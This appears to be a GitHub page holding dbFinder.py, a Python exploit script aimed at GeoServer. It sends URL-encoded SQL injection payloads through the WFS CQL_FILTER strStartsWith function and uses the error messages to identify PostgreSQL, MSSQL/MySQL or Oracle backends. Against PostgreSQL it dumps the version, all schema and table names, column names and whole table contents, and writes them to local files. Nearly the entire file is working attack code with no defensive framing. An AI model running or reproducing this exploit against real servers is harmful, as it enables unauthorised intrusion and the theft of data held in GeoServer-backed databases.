-
Notifications
You must be signed in to change notification settings - Fork 0
/
dbFinder.py
128 lines (123 loc) · 8.98 KB
/
dbFinder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import requests
import sys
import xml.etree.ElementTree as ET
import json
requests.packages.urllib3.disable_warnings()
import os
import re
import socket
import threading
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
PINK = '\033[95m'
BOLD = '\033[1m'
ENDC = '\033[0m'
def find_DataBase(res):
URL=res
PROXY_ENABLED = False
PROXY = "http://127.0.0.1:8182/" if PROXY_ENABLED else None
ip=URL.split(':')
try:
response = requests.get("http://"+URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]
if len(names) >0 :
print(f"{GREEN}[+] Connected {ip[0]} {ENDC}")
cql_filters = ["strStartsWith"]
name=names[1]
for cql_filter in cql_filters:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
try :
json_data = json.loads(response.text)
properties = json_data['features'][0]['properties']
property_names = list(properties.keys())
except:
None
#for property_name in property_names:
property_name=property_names[1]
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response = requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
if error_message == None:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+@@version%29+AS+int%29%29+--+%27%29+%3D+true"
response = requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
if error_message == None:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+*+FROM+V$version+;+%29+AS+NUMBER%29%29+--+%27%29+%3D+true"
response = requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
if error_message == None:
None
else :
print(f"{GREEN}[+] Oracle Injection Valid : {URL}{ENDC}")
break
else :
print(f"{GREEN}[+] MSSQL/MYSQL Injection Valid : {URL}{ENDC}")
break
else :
error_message=error_message.split(":")
if len(error_message)>5 :
error_message=error_message[4].split(",")
else:
error_message=error_message[3].split(",")
error_message[0]=error_message[0][2:]
print(f"{GREEN}[+] POSTGRESQL Injection Valid : {URL} \n Property Name :{property_name}{ENDC}")
print(f"\t{GREEN}[->] Info :\n\t\t[+] URL : {URL}\t\t[+] Version : {error_message[0]}\n\t\t[+] Compiled :{error_message[1]}\n\t\t[+] Machin : {error_message[2]}{ENDC}")
print(f"{YELLOW}[+] Search For Tabels And Data{ENDC}\n")
endpoint=f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28select+STRING_AGG+(+concat(table_schema+,+''.''+,+table_name)+,+%27%27,%27%27+)+from+INFORMATION_SCHEMA.TABLES+%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response=requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
error_message=error_message.split(":")
if len(error_message)>4 :
error_message=error_message[4][2:-7]
else :
error_message=error_message[3][2:-7]
error_message=error_message.split(",")
for itm in error_message :
print(f"\t[+] {GREEN}{URL} : {itm}{ENDC}")
os.makedirs('CVE/'+URL,exist_ok=True)
savef = open('CVE/'+URL+"/"+itm, 'w')
tmp=itm.split('.')
tblname=tmp[1]
schemaname=tmp[0]
endpoint=f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28select+STRING_AGG+(+column_name+,+%27%27,%27%27+)+from+INFORMATION_SCHEMA.columns+where+table_name+=+%27%27{tblname}%27%27+and+table_schema=''{schemaname}''+%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response=requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
error_message=error_message.split(":")
if len(error_message)> 4:
error_message=error_message[4][2:-7]
else:
error_message=error_message[3][2:-2]
error_message=error_message.replace(",",",'' '',")
try:
endpoint=f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28select+STRING_AGG+(+concat+({error_message})+,+%27%27;%27%27+)+from+{itm}+%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response=requests.get("http://"+URL + endpoint, proxies={"http": PROXY}, verify=False)
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
savef.write("http://"+URL + endpoint+"\n")
error_message=error_message.split(":")
if len(error_message)> 4:
error_message=error_message[4][:-6]
else :
error_message=error_message[3][:-6]
error_message=error_message.split(";")
for resolved_Data in error_message :
savef.write(resolved_Data)
print(f"\t\t[->] {GREEN}{resolved_Data}{ENDC}")
except:
None
except:
None